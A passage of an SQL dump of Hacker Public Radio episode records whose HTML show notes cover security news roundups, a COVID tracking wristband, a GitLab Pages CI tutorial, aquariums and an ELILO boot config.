they\ncan earn as much as $10,000 per month on the duplicate ChatGPT\nplatform.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\">Phishing:</a> Email\nbased scam.</li>\n</ul></li>\n<li><strong>LassPass Security Incident Update and Recommended\nActions.</strong>\n<ul>\n<li>Major Security Breach: Spanning multiple years.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nEmployee login credentials, source code &amp; other intellectual\nproperty, customer data.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\">Malware:</a>\nAttackers exploited third-party software to compromise company systems\nby delivering a keylogger type malware.</li>\n</ul></li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>InfoSec; the language of security.</strong>\n<ul>\n<li><strong>TAGS:</strong> Information Security, Monitoring</li>\n</ul></li>\n<li><strong>Bitwarden flaw can let hackers steal passwords using\niframes.</strong>\n<ul>\n<li>Bitwarden highlights that the autofill feature is a potential risk\nand even includes a prominent warning in its <a\nhref=\"https://bitwarden.com/help/auto-fill-browser/\">documentation</a>,\nspecifically mentioning the likelihood of compromised sites abusing the\nautofill feature to steal credentials.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\">Phishing:</a> Sniff\ncredentials from a webpage HTML inline frame.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/HTML_element#Frames\">wikipedia:</a>\nAn inline frame places another HTML document in a frame. Unlike an\n&lt;object /&gt; element, an &lt;iframe&gt; can be the \"target\" frame\nfor links defined by other elements, and it can be selected by the user\nagent as the focus for printing, viewing its source, and so on. The\ncontent of the element is used as alternative text to be displayed if\nthe browser does not support inline frames. A separate document is\nlinked to a frame using the src attribute inside the &lt;iframe /&gt;,\nan inline HTML code is embedded to a frame using the srcdoc attribute\ninside the &lt;iframe /&gt; element. First introduced by Microsoft\nInternet Explorer in 1997, standardized in HTML 4.0 Transitional,\nallowed in HTML5.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>User space.</strong>\n<ul>\n<li><strong>TAGS:</strong> Solutions, Services</li>\n</ul></li>\n<li><strong>Flathub&#x2019;s Got Big Plans for 2023.</strong>\n<ul>\n<li>Developers are flocking to Flathub in droves, which means users are\ntoo, and even Linux distributions (well, bar one) are getting in on the\naction by making making it easier to install apps from Flathub with the\nfriction of setting things up using terminal commands or odd sounding\ndownload files.</li>\n<li><a href=\"https://beta.flathub.org/\">Flathub Beta site:</a> Welcome\nto Flathub, the home of hundreds of apps which can be easily installed\non any Linux distribution. Browse the apps online, from your app center\nor the command line.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li>References (APA format).\n<ul>\n<li>CySecurity News. (2023, March 01). [GoDaddy Hit Multiple Times by\nthe Same Group]. CySecurity. <a\nhref=\"https://www.cysecurity.news/2023/03/godaddy-web-hosting-provider-hit.html\">https://www.cysecurity.news/2023/03/godaddy-web-hosting-provider-hit.html</a></li>\n<li>Gatlan S. (2021, November 22). [GoDaddy data breach hits 1.2 million\nManaged WordPress customers]. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/godaddy-data-breach-hits-12-million-managed-wordpress-customers/\">https://www.bleepingcomputer.com/news/security/godaddy-data-breach-hits-12-million-managed-wordpress-customers/</a></li>\n<li>GoDaddy. (2023, February 16). Statement on recent website redirect\nissues. GoDaddy. <a\nhref=\"https://aboutus.godaddy.net/newsroom/company-news/news-details/2023/Statement-on-recent-website-redirect-issues/default.aspx\">https://aboutus.godaddy.net/newsroom/company-news/news-details/2023/Statement-on-recent-website-redirect-issues/default.aspx</a></li>\n<li>Gatlan S. (2020, May 04). GoDaddy notifies users of breached hosting\naccounts. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/godaddy-notifies-users-of-breached-hosting-accounts/\">https://www.bleepingcomputer.com/news/security/godaddy-notifies-users-of-breached-hosting-accounts/</a></li>\n<li>Ilascu I. (2019, April 26). Hundreds of GoDaddy Accounts Used for\n\"Miracle\" Product Scams. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/hundreds-of-godaddy-accounts-used-for-miracle-product-scams/\">https://www.bleepingcomputer.com/news/security/hundreds-of-godaddy-accounts-used-for-miracle-product-scams/</a></li>\n<li>Cross T. (2023, March 08). Chick-Fil-A Customers are Victims of a\nData Breach. Safetydetectives. <a\nhref=\"https://www.safetydetectives.com/news/chick-fil-a-customers-are-victims-of-a-data-breach/\">https://www.safetydetectives.com/news/chick-fil-a-customers-are-victims-of-a-data-breach/</a></li>\n<li>Oguejiofor-Abugu K. (2023, March 07). New phishing campaign uses\nfake ChatGPT platform to scam eager investors. Safetydetectives. <a\nhref=\"https://www.safetydetectives.com/news/new-phishing-campaign-uses-fake-chatgpt-platform-to-scam-eager-investors/\">https://www.safetydetectives.com/news/new-phishing-campaign-uses-fake-chatgpt-platform-to-scam-eager-investors/</a></li>\n<li>Toulas B. (2023, March 08). Bitwarden flaw can let hackers steal\npasswords using iframes. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/bitwarden-flaw-can-let-hackers-steal-passwords-using-iframes/\">https://www.bleepingcomputer.com/news/security/bitwarden-flaw-can-let-hackers-steal-passwords-using-iframes/</a></li>\n<li>Toubba K. (2023, March 01). Security Incident Update and Recommended\nActions. LassPass. <a\nhref=\"https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/\">https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/</a></li>\n<li>Toubba K. (2022, December). Incident 2 &#x2013; Additional details of the\nattack. LassPass. <a\nhref=\"https://support.lastpass.com/help/incident-2-additional-details-of-the-attack\">https://support.lastpass.com/help/incident-2-additional-details-of-the-attack</a></li>\n<li>Toubba K. (2023, February). What have we done to secure LastPass.\nLassPass. <a\nhref=\"https://support.lastpass.com/help/what-have-we-done-to-ensure-lastpass-is-safe-to-use\">https://support.lastpass.com/help/what-have-we-done-to-ensure-lastpass-is-safe-to-use</a></li>\n<li>Sneddon J. (2023, March 07). Flathub&#x2019;s Got Big Plans for 2023. OMG\nubuntu. <a\nhref=\"https://www.omgubuntu.co.uk/2023/03/flathub-has-big-plans-for-2023\">https://www.omgubuntu.co.uk/2023/03/flathub-has-big-plans-for-2023</a></li>\n<li>McQueen R. (2023, March 07). [The personal blog of Robert McQueen].\nramcq. <a\nhref=\"https://ramcq.net/2023/03/07/flathub-in-2023/\">https://ramcq.net/2023/03/07/flathub-in-2023/</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Oh No, News, Threat analysis, InfoSec, User space',0,0,1),
(3822,'2023-03-28','A tale of wonder, angst and woe',526,'Dissecting a COVID watch issued by Hong Kong Department of Health','<p>\r\nIn December of 2022, I traveled to Hong Kong, at some point en-route\r\nor in-country, I contracted covid.</p>\r\n<p>Backing up a step in preparation for\r\nthe trip I was required to have a negative PCR before I could board\r\nthe plane from the US as well as proof of vaccination and at least\r\none booster shot.\r\n</p>\r\n<p><a href=\"https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us\">HKSAR Department of Health - Health Declaration Form</a>\r\n(<a href=\"https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us\">https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us</a>)</p>\r\n<p>Upon arrival, I was required to quarantine for 3 days as well as take a home test (referred to as RAT: Rapid Antigen Test, by the locals) every day for the first 7 days</p>\r\n<p>On the 2nd full day in HK, I was required to take another clinical PCR provided at a health center, free of charge.</p>\r\n\r\n<p>On the third day I received my PCR and RAT tests as Covid Positive.</p>\r\n<p>By law I was now required to quarantine in my hotel until I tested negative on 2 consecutive days. Since my symptoms were very mild, a sniffle and low grade temp, merely 2-3 deg above normal, I could stay in the hotel and was not required to\r\ntransfer to a public health center.</p>\r\n<p>I was also required to register the positive results with a government website. This registration kicked off a series of events, including a visit from a health representative. (he stood in the hall, I was not permitted to leave the room) I was Required to install an app on my phone called &quot;Stay Home Safe\'\' and to wear a wristband that I presume was a GPS and possibly temp/pulse tracking device that connected to my phone by bluetooth. The agent installed the app, and synced the watch to it.\r\n</p>\r\n\r\n<img src=\"/eps/hpr3822/HPR-Covid-watch-disection_html_8baced7f6fbf2309.jpg\" name=\"image1.jpg\" align=\"bottom\" width=\"436\" height=\"327\" border=\"0\"/>\r\n\r\n<p>\r\nThe <a href=\"/eps/hpr3822/\">complete shownotes are available</a> downloaded from <a href=\"http://bookewyrmm.42web.io/covid.html\">http://bookewyrmm.42web.io/covid.html</a>\r\n</p>\r\n',365,0,0,'CC-BY-SA','device discovery, curiosity',0,0,1),
(3823,'2023-03-29','Gitlab Pages for website hosting',1560,'Three examples of using Gitlab\'s CICD to generate a website.','<h2 id=\"how-it-works\">How it works</h2>\n<p><a href=\"https://docs.gitlab.com/ee/user/project/pages/\"\nclass=\"uri\">https://docs.gitlab.com/ee/user/project/pages/</a></p>\n<blockquote>\n<p>GitLab always deploys your website from a specific folder called\npublic in your repository. To deploy your site, GitLab uses its built-in\ntool called GitLab CI/CD to build your site and publish it to the GitLab\nPages server. The sequence of scripts that GitLab CI/CD runs to\naccomplish this task is created from a file named .gitlab-ci.yml, which\nyou can create and modify. A specific job called pages in the\nconfiguration file makes GitLab aware that you\'re deploying a GitLab\nPages website.</p>\n</blockquote>\n<h3 id=\"overview-of-steps\">Overview of Steps</h3>\n<ul>\n<li>The end state has to be a directory named public that contains the\nsite contents</li>\n<li>Optionally, run a build process in a container to create the\ncontents of the <code>public</code> directory</li>\n<li>There has to be a <code>pages</code> declaration in\n.gitlab-ci.yml</li>\n</ul>\n<h2 id=\"example-1\">Example 1</h2>\n<h3 id=\"simple-demo\">simple demo</h3>\n<ul>\n<li>Create the Git repo and site content</li>\n<li>Go to gitlab and create new Gitlab repo</li>\n<li>Clone it to your workstation</li>\n<li>Add public folder with site files</li>\n<li>add .gitlab-ci.yml</li>\n<li>Commit and push</li>\n</ul>\n<pre class=\"bash\"><code>git clone git@gitlab.com:norrist/simple_pages_demo.git\ncd simple_pages_demo/\nmkdir public\necho &quot;Hello World&quot; &gt; public/index.html\ngit add public/\nvim .gitlab-ci.yml\ngit add .gitlab-ci.yml\ngit commit -am &quot;new page&quot;\ngit push</code></pre>\n<h4 id=\"gitlab-ci.yml\">.gitlab-ci.yml</h4>\n<pre class=\"yaml\"><code>pages:\n stage: deploy\n script:\n - echo\n artifacts:\n paths:\n - public</code></pre>\n<h3 id=\"pages-settings\">Pages settings</h3>\n<ul>\n<li>Menu on left, Settings, Pages</li>\n<li>Your pages are served under:</li>\n</ul>\n<h2 id=\"example-2\">Example 2</h2>\n<h3 id=\"docs.norrist.xyz\">docs.norrist.xyz</h3>\n<ul>\n<li>Combine my HPR show notes into a single page</li>\n<li>Custom Domain\n<ul>\n<li>Verified with TXT record</li>\n</ul></li>\n</ul>\n<h4 id=\"gitlab-ci.yml-1\">.gitlab-ci.yml</h4>\n<pre class=\"yml\"><code>image: &quot;debian&quot;\nbefore_script:\n - apt-get update\n - apt-get install -y pandoc\n\nstages:\n- build\npages:\n stage: build\n script:\n - bash build_html.sh\n artifacts:\n paths:\n - public</code></pre>\n<pre class=\"bash\"><code>set -euo pipefail\nIFS=$&#39;\\n\\t&#39;\nmkdir -pv public\nfor MD in $(ls *md)\n do\n echo\n # echo &quot;---&quot;\n # echo\n # echo &quot;#&quot; $MD\n echo\n echo &quot;---&quot;\n echo\n cat $MD\ndone \\\n|pandoc \\\n-H markdown.header \\\n-B body.header \\\n--toc \\\n--toc-depth=1 \\\n-f gfm \\\n-t html \\\n-o public/index.html</code></pre>\n<h2 id=\"example-3\">Example 3</h2>\n<h3 id=\"hpr-static\">HPR static</h3>\n<ul>\n<li>Build the new HPR static site</li>\n</ul>\n<h4 id=\"gitlab-ci.yml-2\">.gitlab-ci.yml</h4>\n<pre class=\"yaml\"><code>services:\n - mariadb\nvariables:\n MYSQL_DATABASE: hpr_hpr\n MYSQL_ROOT_PASSWORD: mysql\n\nconnect:\n stage: .pre\n image: mysql\n script:\n - echo &quot;SELECT &#39;OK&#39;;&quot; | mysql --user=root --password=&quot;$MYSQL_ROOT_PASSWORD&quot; --host=mariadb &quot;$MYSQL_DATABASE&quot;\n\npages:\n image: debian\n before_script:\n - apt update\n - apt -y install libgetopt-complete-perl libmemory-usage-perl libconfig-std-perl libtemplate-perl libtemplate-plugin-dbi-perl libclass-dbi-perl libtie-dbi-perl libdbd-mysql-perl libdate-calc-perl\n - apt -y install curl mariadb-client git\n - curl -o hpr.sql http://hackerpublicradio.org/hpr.sql\n - mysql --user=root --host=mariadb &quot;$MYSQL_DATABASE&quot; --password=&quot;$MYSQL_ROOT_PASSWORD&quot; &lt; hpr.sql\n\n stage: build\n script:\n - git clone https://gitlab.com/roan.horning/hpr_generator.git\n - cd hpr_generator\n - git apply ../mysql_settings.patch\n - grep &quot;database\\|user\\|driver\\|password&quot; site.cfg\n - ./site-generator --all\n - mv -v public_html ../public\n\n artifacts:\n paths:\n - public\n</code></pre>\n<h3 id=\"site.cfg-patch\">site.cfg Patch</h3>\n<pre class=\"patch\"><code>diff --git a/site.cfg b/site.cfg\nindex aefadb2..0243d27 100644\n--- a/site.cfg\n+++ b/site.cfg\n@@ -8,10 +8,10 @@\n #user: (not used - leave blank)\n #password: (not used - leave blank)\n # Configuration settings for MySQL\n-#database: mysql\n-#driver: dbi:mysql:database=hpr_hpr:hostname=localhost\n-#user: hpr-generator (Suggested user with read-only privileges)\n-#password: ********* (Password for user)\n+database: mysql\n+driver: dbi:mysql:database=hpr_hpr:hostname=mariadb\n+user: root\n+password: mysql\n\n # Configure the location of the templates and the generated HTML\n [app_paths]\n@@ -25,7 +25,7 @@ output_path: ./public_html\n [root_template]\n content: page.tpl.html\n #baseurl: OPTIONAL [i.e. file://&lt;full path to local website directory&gt;]\n-baseurl: file:///home/roan/Development/hpr/website/hpr_generator/public_html/\n+baseurl: https://norrist.gitlab.io/hpr_generator_build/\n media_baseurl: https://archive.org/download/hpr$eps_id/\n\n # Configure the navigation menu and the content templates for each page</code></pre>\n<h2 id=\"other-example-projects\">Other Example Projects</h2>\n<ul>\n<li><a href=\"https://gitlab.com/pages\"\nclass=\"uri\">https://gitlab.com/pages</a></li>\n<li>Hugo, Jekyll, Plain HTML, ...</li>\n<li>Fork or just Copy</li>\n</ul>\n<h3 id=\"common-frustrations\">Common Frustrations</h3>\n<ul>\n<li>Waiting on builds during debugging.</li>\n<li>Having to push to CICD instead of running local</li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<p><strong>HPR Generator</strong> - <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p>\n<table>\n<colgroup>\n<col style=\"width: 50%\" />\n<col style=\"width: 50%\" />\n</colgroup>\n<thead>\n<tr class=\"header\">\n<th>Gitlab Example Repo</th>\n<th>Gitlab pages URL</th>\n</tr>\n</thead>\n<tbody>\n<tr class=\"odd\">\n<td><a href=\"https://gitlab.com/norrist/simple_pages_demo\"\nclass=\"uri\">https://gitlab.com/norrist/simple_pages_demo</a></td>\n<td><a href=\"https://norrist.gitlab.io/simple_pages_demo/\"\nclass=\"uri\">https://norrist.gitlab.io/simple_pages_demo/</a></td>\n</tr>\n<tr class=\"even\">\n<td><a href=\"https://gitlab.com/norrist/docs.norrist.xyz\"\nclass=\"uri\">https://gitlab.com/norrist/docs.norrist.xyz</a></td>\n<td><a href=\"https://docs.norrist.xyz/\"\nclass=\"uri\">https://docs.norrist.xyz/</a></td>\n</tr>\n<tr class=\"odd\">\n<td><a href=\"https://gitlab.com/norrist/hpr_generator_build\"\nclass=\"uri\">https://gitlab.com/norrist/hpr_generator_build</a></td>\n<td><a href=\"https://norrist.gitlab.io/hpr_generator_build/\"\nclass=\"uri\">https://norrist.gitlab.io/hpr_generator_build/</a></td>\n</tr>\n</tbody>\n</table>\n',342,0,0,'CC-BY-SA',' static website, gitlab pages, docker, mysql, cicd, ',0,0,1),
(4086,'2024-04-01','HPR Community News for March 2024',0,'HPR Volunteers talk about shows released and comments posted in March 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3825,'2023-03-31','Creating a natural aquarium',2310,'Setting up your first natural, self-sustaining freshwater aquarium','<p>An alternative method to the big box store way of setting up an\naquarium.</p>\n<p>You don\'t need a bunch of equipment, chemicals, or experience to have\na balanced thriving aquarium that not only runs itself after a period of\ntime, but is a healthier environment for your aquatic creatures and will\nbe a great conversation piece.</p>\n<p>Learn how to emulate nature so that everything works together in its\nown ecosystem from the bottom up. Only a little bit of patience is\nneeded.</p>\n',375,0,0,'CC-BY-SA','aquarium,ecology,plantedtank,fish',0,0,1),
(3827,'2023-04-04','Reply to hpr 3798 ',506,'added slackware information','<p>\r\nFrom Wikipedia, the free encyclopedia<br />\r\nLILO (Linux Loader) is a boot loader for Linux and was the default boot loader for most Linux distributions in the years after the popularity of loadlin. Today, many distributions use GRUB as the default boot loader, but LILO and its variant ELILO are still in wide use. Further development of LILO was discontinued in December 2015 along with a request by Joachim Wiedorn for potential developers.<br />\r\nFor EFI-based PC hardware the now orphaned ELILO boot loader was developed,originally by Hewlett-Packard for IA-64 systems, but later also for standard i386 and amd64 hardware with EFI support.<br />\r\nOn any version of Linux running on Intel-based Apple Macintosh hardware, ELILO is one of the available bootloaders.<br />\r\nIt supports network booting using TFTP/DHCP.\r\n</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLILO_%28bootloader%29%23elilo\">https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLILO_%28bootloader%29%23elilo</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3798\">hpr3798</a></p></li>\r\n<li><p><a href=\"https://slackware.com\">slackware.com</a></p></li>\r\n<li><p><a href=\"https://sourceforge.net/projects/elilo/files/elilo/\" class=\"uri\">https://sourceforge.net/projects/elilo/files/elilo/</a></p></li>\r\n<li><p>elilo.config:</p></li>\r\n</ul>\r\n<pre><code>prompt\r\ndelay=20\r\ntimeout=20\r\ndefault=g\r\n#default=h\r\nchooser=simple\r\nmessage=textmenu-message.msg\r\n\r\nimage=vmlinuz-generic\r\n label=g\r\n initrd=initrd.gz\r\n read-only\r\n append=&quot;root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6&quot;\r\n\r\nimage=vmlinuz-huge\r\n label=h\r\n read-only\r\n append=&quot;root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6&quot;\r\n\r\nimage=dummy\r\n label=w</code></pre>\r\n<p>slackware; reading is not an option</p>\r\n<p><small>Ken: added aditional links and wikipedia summary</small></p>\r\n',326,0,0,'CC-BY-SA','linux distros, slackware',0,0,1),
(3828,'2023-04-05','The Oh No! News.',1109,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<hr />\n<h2 id=\"threat-analysis-your-attack-surface.\"><strong>Threat analysis;\nyour attack surface.</strong></h2>\n<ul>\n<li><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/cisa-warns-of-actively-exploited-plex-bug-after-lastpass-breach/\">CISA\nwarns of actively exploited Plex bug after LastPass breach.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a> (2023, Mar 11).</li>\n<li>Attackers with \"admin access to a Plex Media Server could abuse the\nCamera Upload feature to make the server execute malicious code,\"\naccording to an advisory published by the Plex Security Team in May 2020\nwhen it patched the bug with the release of Plex Media Server\n1.19.3.</li>\n<li>\"This could be done by setting the server data directory to overlap\nwith the content location for a library on which Camera Upload was\nenabled. This issue could not be exploited without first gaining access\nto the server\'s Plex account.\"</li>\n<li><a href=\"https://www.cisa.gov/\">Link to Cybersecurity &amp;\nInfrastructure Security Agency (CISA).</a></li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819\">Plex\nSecurity, regarding security vulnerability CVE-2020-5741.</a>\n<ul>\n<li><strong>Author:</strong> PlexSecurity, Plex Employee. (2020,\nMay).</li>\n<li>We have recently been made aware of a security vulnerability related\nto Plex Media Server. This issue allowed an attacker with access to the\nserver administrator&#x2019;s Plex account to upload a malicious file via the\nCamera Upload feature and have the media server execute it.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://forums.plex.tv/t/plex-remote-code-execution-exploit-used-in-lastpass-breach/832727/11\">Official\nstatement from Plex, concerning vulnerabilities, on LastPass Data\nBreach.</a>\n<ul>\n<li><strong>Author:</strong> PlexInfo, Plex Employee. (2023, Feb\n28).</li>\n<li>\"We have not been contacted by LastPass so we cannot speak to the\nspecifics of their incident. We take security issues very seriously, and\nfrequently work with external parties who report issues big or small\nusing our <a\nhref=\"https://support.plex.tv/articles/reporting-security-issues/\">guidelines\nand bug bounty program</a>. When vulnerabilities are reported following\nresponsible disclosure we address them swiftly and thoroughly, and we&#x2019;ve\nnever had a critical vulnerability published for which there wasn&#x2019;t\nalready a patched version released. And when we&#x2019;ve had incidents of our\nown, we&#x2019;ve always chosen to communicate them quickly. We are not aware\nof any unpatched vulnerabilities, and as always, we invite people to\ndisclose issues to us following the guidelines linked above. Given\nrecent articles about the LastPass incident, although we are not aware\nof any unpatched vulnerabilities, we have reached out to LastPass to be\nsure.\"</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://arstechnica.com/information-technology/2023/02/lastpass-hackers-infected-employees-home-computer-and-stole-corporate-vault/\">LastPass\nsays employee&#x2019;s home computer was hacked and corporate vault taken.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://arstechnica.com/author/dan-goodin/\"\ntitle=\"Dan Goodin is Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, and hardware hacking.\">Dan\nGoodin</a>. (2023, Feb 27).</li>\n<li>According to a person briefed on a private report from LastPass who\nspoke on the condition of anonymity, the media software package that was\nexploited on the employee&#x2019;s home computer was Plex. Interestingly, Plex\nreported its own network intrusion on August 24, just 12 days after the\nsecond incident commenced.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://arstechnica.com/information-technology/2022/08/plex-imposes-password-reset-after-hackers-steal-data-for-15-million-users/\"\ntitle=\"Intruders access personal information for the majority of its 30 million users.\">Plex\nimposes password reset after attackers steal data from over 15 million\nusers.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://arstechnica.com/author/dan-goodin/\"\ntitle=\"Dan Goodin is Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, and hardware hacking.\">Dan\nGoodin</a>. (2022, Aug 24).</li>\n<li>&#x201C;Yesterday, we discovered suspicious activity on one of our\ndatabases,&#x201D; company officials wrote in an email sent to customers. &#x201C;We\nimmediately began an investigation and it does appear that a third-party\nwas able to access a limited subset of data that includes emails,\nusernames, and encrypted passwords.&#x201D;</li>\n<li>The email said that the passwords were &#x201C;hashed and secured in\naccordance with best practices,&#x201D; meaning the passwords were\ncryptographically scrambled in a way that requires attackers to devote\nadditional resources to crack the hashes and revert them back to their\nplaintext state. A Plex spokesperson said that the passwords were hashed\nusing bcrypt, among the strongest algorithms for protecting passwords.\nbcrypt automatically applies what\'s known as cryptographic salting and\npeppering to make cracking harder.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://nvd.nist.gov/vuln/detail/CVE-2023-24055\">Keepass\nvulnerablility allows attackers, with write access to the xml config, to\nexport cleartext passwords.</a>\n<ul>\n<li><strong>Author:</strong> <a href=\"https://www.nist.gov/\">National\nInstitute of Standards and Technology (NIST)</a>. (2023, Jan 21).</li>\n<li>** DISPUTED ** KeePass through 2.53 (in a default installation)\nallows an attacker, who has write access to the XML configuration file,\nto obtain the cleartext passwords by adding an export trigger. NOTE: the\nvendor\'s position is that the password database is not intended to be\nsecure against an attacker who has that level of access to the local\nPC.</li>\n<li>This vulnerability has been modified and is currently undergoing\nreanalysis. Please check back soon to view the updated vulnerability\nsummary.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://cwe.mitre.org/data/definitions/312.html\">CWE-312:\nCleartext Storage of Sensitive Information.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://cwe.mitre.org/index.html\">Common Weakness Enumeration</a>.\n(N/A).</li>\n<li>Because the information is stored in cleartext (i.e., unencrypted),\nattackers could potentially read it. Even if the information is encoded\nin a way that is not human-readable, certain techniques could determine\nwhich encoding is being used, then decode the information.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://keepass.info/help/kb/sec_issues.html\">KeePass Help Center,\nSecurity Issues.</a>\n<ul>\n<li><strong>Author:</strong> KeePass. (N/A).</li>\n<li>This page lists various potential security issues that have been\nreported and their status/analysis (whether the claims are valid,\nwhether an issue is fixed, etc.).</li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"user-space.\"><strong>User space.</strong></h2>\n<ul>\n<li><strong>Article:</strong> <a\nhref=\"https://www.techadvisor.com/article/1535546/how-to-delete-yourself-from-the-internet.html\">How\nto delete yourself from the internet.</a>\n<ul>\n<li><strong>Author:</strong> <a href=\"https://www.techadvisor.com/author/martyncasserly\" title=\"Contributor, Tech Advisor\">Martyn Casserly</a>. (2023, Mar 9).</li>\n<li>Whether you are privacy minded or not, it&#x2019;s very difficult to be\ncompletely anonymous online. Over the years you might have posted on\nsocial media, downloaded apps, entered competitions or opened&#xA0;accounts\nwhich required details such as your email address, phone number, age,\ngender and more.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://nypost.com/2023/03/10/mark-zuckerbergs-meta-exploring-plans-for-twitter-rival/\">Mark\nZuckerberg&#x2019;s Meta exploring plans to launch a Twitter rival.</a>\n<ul>\n<li><strong>Author:</strong> Reuters (2023, Mar 10).</li>\n<li>Mark Zuckerberg&#x2019;s Meta Platforms is exploring plans to launch a new\nsocial media app in its bid to displace Twitter as the world&#x2019;s &#x201C;digital\ntown square.&#x201D;</li>\n<li>Its video-sharing app, Instagram, is also facing stiff competition\nas content makers or hit influencers abandon the platform for\nTikTok.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Toys for techs.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://magpi.raspberrypi.com/articles/inky-frame-4-0-pico-w-aboard-review\"\ntitle=\"A compact Pico W powered e-ink photo frame\">Inky Frame 4.0\" (Pico\nW Aboard) review.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://magpi.raspberrypi.com/articles/author/5AZor69YchvlAxTXFA056E\">Phil\nKing</a>. (2023, Mar 1).</li>\n<li>\"A classy colour e-ink display whose Wi-Fi connectivity greatly\nextends its possible uses, including as a digital photo/art frame, life\norganiser, or low-power smart home dashboard.\"</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://shop.pimoroni.com/en-us/products/inky-frame-4\">Inky Frame\n4.0\" (Pico W Aboard).</a>\n<ul>\n<li><strong>Author:</strong> Pimoroni. (N/A).</li>\n<li>Raspberry Pi Pico W Aboard.</li>\n<li>4.01\" EPD display (640 x 400 pixels).\n<ul>\n<li>E Ink Gallery Palette&#x2122; 4000 ePaper</li>\n<li>ACeP (Advanced Color ePaper) 7-color with black, white, red, green,\nblue, yellow, orange.</li>\n<li>Ultra wide viewing angles</li>\n<li>Ultra low power consumption</li>\n<li>Dot pitch &#x2013; 0.135 x 0.135mm</li>\n</ul></li>\n<li>5 x tactile buttons with LED indicators</li>\n<li>Two Qw/ST connectors for attaching breakouts</li>\n<li>microSD card slot *</li>\n<li>Dedicated RTC chip (PCF85063A) for deep sleep / wake **</li>\n<li>Fully assembled (no soldering required)</li>\n<li><a href=\"https://github.com/pimoroni/pimoroni-pico\">C/C++ and\nMicroPython libraries</a></li>\n<li><a\nhref=\"https://cdn.shopify.com/s/files/1/0174/1800/files/inky_frame_4_schematic.pdf?v=1675859802\">Schematic</a></li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.yubico.com/blog/yubihsm-2-the-worlds-smallest-hardware-security-module-enhanced-with-new-features-to-support-security-for-the-public-sector/\">YubiHSM\n2, the world&#x2019;s smallest hardware security module, enhanced with new\nfeatures to support security for the Public Sector.</a>\n<ul>\n<li><strong>Author:</strong> Saqib Ahmad. (2023, Mar 9).</li>\n<li>AES is one of the most widely used symmetric cryptography algorithms\nand can be used in several modes such as ECB, CBC, CCM and GCM. Out of\nthese four modes, YubiHSM 2 now supports three most commonly used modes\nof encryption.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"Data Breach: from Wikipedia, the free encyclopedia.\">What is a\nData Breach?</a> A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"Malware: from Wikipedia, the free encyclopedia.\">What is\nMalware?</a> Malware (a <a\nhref=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"Multiple words are combined into a new word.\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with 